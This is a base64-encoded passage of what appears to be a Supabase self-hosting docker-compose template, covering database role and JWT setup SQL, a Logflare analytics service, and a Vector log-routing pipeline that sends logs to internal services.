lYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAg